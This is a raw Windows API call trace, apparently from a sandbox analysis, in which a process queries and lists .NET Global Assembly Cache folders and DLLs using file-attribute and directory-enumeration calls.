	[0088.720] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Deployment" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.deployment"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.720] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Deployment\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9365d780, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9365d780, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9365d780, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.720] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.720] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Deployment\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.deployment\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x1273fb88 | out: lpFileInformation=0x1273fb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9365d780, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x66845660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66845660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.722] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Deployment\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.deployment\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.722] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Deployment\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9365d780, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x66845660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66845660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.722] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.722] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Deployment\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Deployment.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.deployment\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.deployment.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273fc28 | out: lpFileInformation=0x1273fc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x66845660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xceac0)) returned 1
	[0088.722] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Design" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.design"), fInfoLevelId=0x0, lpFileInformation=0x1273fc78 | out: lpFileInformation=0x1273fc78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa49e17c0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa49e17c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa49e17c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.722] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Design" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.design"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.722] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Design\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa49e17c0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa49e17c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa49e17c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.723] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.723] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Design\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.design\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x1273fd18 | out: lpFileInformation=0x1273fd18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa496f3a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x66dc6940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66dc6940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.723] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Design\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.design\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.723] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Design\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa496f3a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x66dc6940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66dc6940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.723] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.723] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Design\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Design.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.design\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273fdb8 | out: lpFileInformation=0x1273fdb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x66decaa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x4c74a8)) returned 1
	[0088.723] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Device" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.device"), fInfoLevelId=0x0, lpFileInformation=0x1273fe08 | out: lpFileInformation=0x1273fe08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93cc32a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93cc32a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93cc32a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.723] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Device" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.device"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.724] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Device\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93cc32a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93cc32a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93cc32a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.724] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.724] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Device\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.device\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x1273fea8 | out: lpFileInformation=0x1273fea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93cc32a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x671cae60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x671cae60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.724] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Device\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.device\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.724] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Device\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93cc32a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x671cae60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x671cae60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.724] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.724] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Device\\v4.0_4.0.0.0__b77a5c561934e089\\System.Device.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.device\\v4.0_4.0.0.0__b77a5c561934e089\\system.device.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273ff48 | out: lpFileInformation=0x1273ff48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x671cae60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xfab8)) returned 1
	[0088.724] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Contracts" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.contracts"), fInfoLevelId=0x0, lpFileInformation=0x1273ff98 | out: lpFileInformation=0x1273ff98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.725] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Contracts" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.contracts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.725] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Contracts\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.725] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.725] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Contracts\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.contracts\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x62259020, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62259020, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.725] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Contracts\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.contracts\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.725] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Contracts\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x62259020, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62259020, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.725] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.725] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Contracts\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Diagnostics.Contracts.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.contracts\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.diagnostics.contracts.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62259020, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7500)) returned 1
	[0088.725] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Debug" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.debug"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.726] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Debug" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.debug"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.726] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Debug\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.726] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.726] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Debug\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.debug\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x123fc288 | out: lpFileInformation=0x123fc288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x622a52e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x622a52e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.726] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Debug\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.debug\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.726] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Debug\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x622a52e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x622a52e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.726] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.726] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Debug\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Diagnostics.Debug.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.debug\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.diagnostics.debug.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc328 | out: lpFileInformation=0x123fc328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x622a52e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72e8)) returned 1
	[0088.783] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Tools" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.tools"), fInfoLevelId=0x0, lpFileInformation=0x123fc378 | out: lpFileInformation=0x123fc378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.783] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Tools" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.tools"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.783] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Tools\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.783] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.783] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Tools\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.tools\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x123fc418 | out: lpFileInformation=0x123fc418*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x622cb440, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x622cb440, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.784] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Tools\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.tools\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.784] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Tools\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x622cb440, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x622cb440, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.784] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.784] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Tools\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Diagnostics.Tools.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.tools\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.diagnostics.tools.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc4b8 | out: lpFileInformation=0x123fc4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x622cb440, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72e8)) returned 1
